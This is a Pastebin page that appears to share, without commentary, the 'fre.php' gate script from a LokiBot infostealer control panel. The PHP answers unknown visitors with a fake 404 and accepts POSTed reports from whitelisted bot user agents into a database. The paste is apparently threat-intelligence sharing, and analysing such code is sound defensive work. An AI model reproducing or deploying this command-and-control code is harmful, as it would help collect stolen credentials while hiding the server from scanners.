Advertisement
Neonprimetime

2018-01-18 Loki Panel fre.php

Jan 18th, 2018
275
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.04 KB | None | 0 0
  1. Panel.zip -> five/fre.php
  2.  
  3. <?php
  4. define("CONFIG_FILE", "config.inc.php");
  5.  
  6. ob_start();
  7. if(file_exists(CONFIG_FILE))
  8. {
  9. require_once(CONFIG_FILE);
  10. require_once(INCLUDE_."/class/misc.class.php");
  11. require_once(INCLUDE_."/class/worker.class.php");
  12. require_once(INCLUDE_."/class/mysqli.class.php");
  13.  
  14. if (isset($White_BotAgents_Lists) && is_array($White_BotAgents_Lists))
  15. {
  16. if ((count($White_BotAgents_Lists) && array_search($_SERVER['HTTP_USER_AGENT'], $White_BotAgents_Lists, TRUE) === FALSE))
  17. {
  18. header("HTTP/1.0 404 Not Found");
  19. header("Status: 404 Not Found");
  20. $_SERVER['REDIRECT_STATUS'] = 404;
  21.  
  22. die("File not found.");
  23. }
  24. }
  25.  
  26. ob_end_clean();
  27.  
  28. if(isset($_SERVER['CONTENT_LENGTH']))
  29. {
  30. $Report = new Report($DBData, file_get_contents('php://input'), intval($_SERVER['CONTENT_LENGTH']), ENCKEY_, TEMP_);
  31. $Report = NULL;
  32. }
  33. }
  34.  
  35. header("HTTP/1.0 404 Not Found");
  36. header("Status: 404 Not Found");
  37. $_SERVER['REDIRECT_STATUS'] = 404;
  38.  
  39. die("File not found.");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement